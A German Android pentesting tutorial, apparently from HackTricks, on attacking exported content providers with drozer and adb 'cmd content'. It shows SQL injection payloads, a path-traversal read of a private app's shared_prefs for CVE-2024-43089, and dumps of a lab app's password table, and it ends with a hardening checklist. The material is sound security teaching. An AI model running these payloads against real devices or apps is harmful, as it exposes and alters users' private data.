235 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Daten werden **auf Anfrage von einer Anwendung an andere** von einer Komponente bereitgestellt, die als **Content Provider** bekannt ist. Diese Anfragen werden über die Methoden der **ContentResolver-Klasse** verwaltet. Content Provider können ihre Daten an verschiedenen Orten speichern, wie z.B. in einer **Datenbank**, **Dateien** oder über ein **Netzwerk**.
Im _Manifest.xml_-Datei ist die Deklaration des Content Providers erforderlich. Zum Beispiel:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Um auf `content://com.mwr.example.sieve.DBContentProvider/Keys` zuzugreifen, ist die Berechtigung `READ_KEYS` erforderlich. Es ist interessant zu bemerken, dass der Pfad `/Keys/` im folgenden Abschnitt zugänglich ist, der aufgrund eines Fehlers des Entwicklers nicht geschützt ist, der `/Keys` gesichert, aber `/Keys/` deklariert hat.
**Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle (SQL Injection oder Path Traversal) ausnutzen.**
## Informationen von **exponierten Content Providern** abrufen
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Es ist möglich, zusammenzustellen, wie man den **DBContentProvider** erreicht, indem man URIs mit “_content://_” beginnt. Dieser Ansatz basiert auf Erkenntnissen, die durch die Verwendung von Drozer gewonnen wurden, wo wichtige Informationen im _/Keys_ Verzeichnis zu finden waren.
Drozer kann **mehrere URIs erraten und ausprobieren**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Sie sollten auch den **ContentProvider-Code** überprüfen, um nach Abfragen zu suchen:
![](<../../../images/image (121) (1) (1) (1).png>)
Wenn Sie außerdem keine vollständigen Abfragen finden können, könnten Sie **überprüfen, welche Namen vom ContentProvider** in der `onCreate`-Methode deklariert sind:
![](<../../../images/image (564).png>)
Die Abfrage wird wie folgt aussehen: `content://name.of.package.class/declared_name`
## **Datenbankgestützte Content Provider**
Wahrscheinlich werden die meisten Content Provider als **Schnittstelle** für eine **Datenbank** verwendet. Daher, wenn Sie darauf zugreifen können, könnten Sie in der Lage sein, Informationen zu **extrahieren, zu aktualisieren, einzufügen und zu löschen**.\
Überprüfen Sie, ob Sie **auf sensible Informationen zugreifen** können oder versuchen Sie, diese zu ändern, um **Autorisierungs**mechanismen zu **umgehen**.
Beim Überprüfen des Codes des Content Providers **suchen** Sie auch nach **Funktionen**, die wie folgt benannt sind: _query, insert, update und delete_:
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Weil Sie in der Lage sein werden, sie aufzurufen
### Abfrageinhalt
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insert content
Durch das Abfragen der Datenbank lernen Sie die **Namen der Spalten** kennen, dann könnten Sie in der Lage sein, Daten in die DB einzufügen:
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Beachten Sie, dass Sie bei Insert und Update --string verwenden können, um einen String anzugeben, --double, um einen Double anzugeben, --float, --integer, --long, --short, --boolean_
### Update content
Wenn Sie die Namen der Spalten kennen, könnten Sie auch **die Einträge ändern**:
![](<../../../images/image (780).png>)
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
Es ist einfach, auf SQL-Injection **(SQLite)** zu testen, indem man die **Projection** und **Selection-Felder** manipuliert, die an den Content Provider übergeben werden.\
Beim Abfragen des Content Providers gibt es 2 interessante Argumente, um nach Informationen zu suchen: _--selection_ und _--projection_:
![](<../../../images/image (784).png>)
Sie können versuchen, diese **Parameter** zu **missbrauchen**, um auf **SQL-Injection** zu testen:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Automatische SQLInjection-Entdeckung durch Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Dateisystem-unterstützte Content Provider**
Content Provider können auch verwendet werden, um **Dateien zuzugreifen:**
![](<../../../images/image (407).png>)
### Datei **lesen**
Sie können Dateien vom Content Provider lesen.
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Wenn Sie auf Dateien zugreifen können, können Sie versuchen, einen Path Traversal auszunutzen (in diesem Fall ist dies nicht notwendig, aber Sie können versuchen, "_../_" und ähnliche Tricks zu verwenden).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Automatische Pfadüberquerungserkennung durch Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 Updates & Modern Tips
### Drozer 3.x (Python 3) ist verfügbar
WithSecure hat 2022 die Wartung von drozer wieder aufgenommen und das Framework auf **Python 3** (neueste **3.1.0 April 2024**) portiert.
Neben Kompatibilitätskorrekturen umfassen neue Module, die besonders nützlich sind, wenn man mit Content Providers arbeitet:
* `scanner.provider.exported` listet nur Provider mit `android:exported="true"`.
* `app.provider.grant` ruft automatisch `grantUriPermission()` auf, sodass Sie mit Providern kommunizieren können, die `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` auf Android 12+ erwarten.
* Bessere Handhabung von **Scoped Storage**, sodass dateibasierten Provider auf Android 11+ weiterhin erreicht werden können.
Upgrade (Host & Agent):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Verwendung des integrierten `cmd content` Helfers (ADB ≥ 8.0)
Alle modernen Android-Geräte werden mit einer CLI geliefert, die Anbieter abfragen/aktualisieren kann **ohne einen Agenten zu installieren**:
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Kombinieren Sie es mit `run-as <pkg>` oder einer gerooteten Shell, um interne Anbieter zu testen.
### Aktuelle reale CVEs, die Content Providers ausgenutzt haben
| CVE | Jahr | Komponente | Fehlerklasse | Auswirkung |
|-----|------|------------|--------------|------------|
| CVE-2024-43089 | 2024 | MediaProvider | Pfad Traversierung in `openFile()` | Beliebiger Datei-Lesezugriff aus dem privaten Speicher jeder App |
| CVE-2023-35670 | 2023 | MediaProvider | Pfad Traversierung | Informationsoffenlegung |
Reproduzieren Sie CVE-2024-43089 auf einem anfälligen Build:
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Hardening-Checkliste für API 30+
* Deklarieren Sie `android:exported="false"`, es sei denn, der Anbieter **muss** öffentlich sein ab API 31 ist das Attribut obligatorisch.
* Erzwingen Sie **Berechtigungen** und/oder `android:grantUriPermissions="true"` anstelle des Exports des gesamten Anbieters.
* Whitelisten Sie erlaubte `projection`, `selection` und `sortOrder` Argumente (z.B. Abfragen mit `SQLiteQueryBuilder.setProjectionMap` erstellen).
* In `openFile()` den angeforderten Pfad kanonisieren (`FileUtils`) und `..`-Sequenzen ablehnen, um Traversierung zu verhindern.
* Bevorzugen Sie beim Freigeben von Dateien das **Storage Access Framework** oder einen `FileProvider`.
Diese Änderungen in den aktuellen Android-Versionen bedeuten, dass viele Legacy-Exploitation-Primitiven weiterhin funktionieren, jedoch zusätzliche Flags/Berechtigungen erfordern, die die aktualisierten drozer-Module oder der `cmd content`-Helfer automatisch anwenden können.
## Referenzen
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}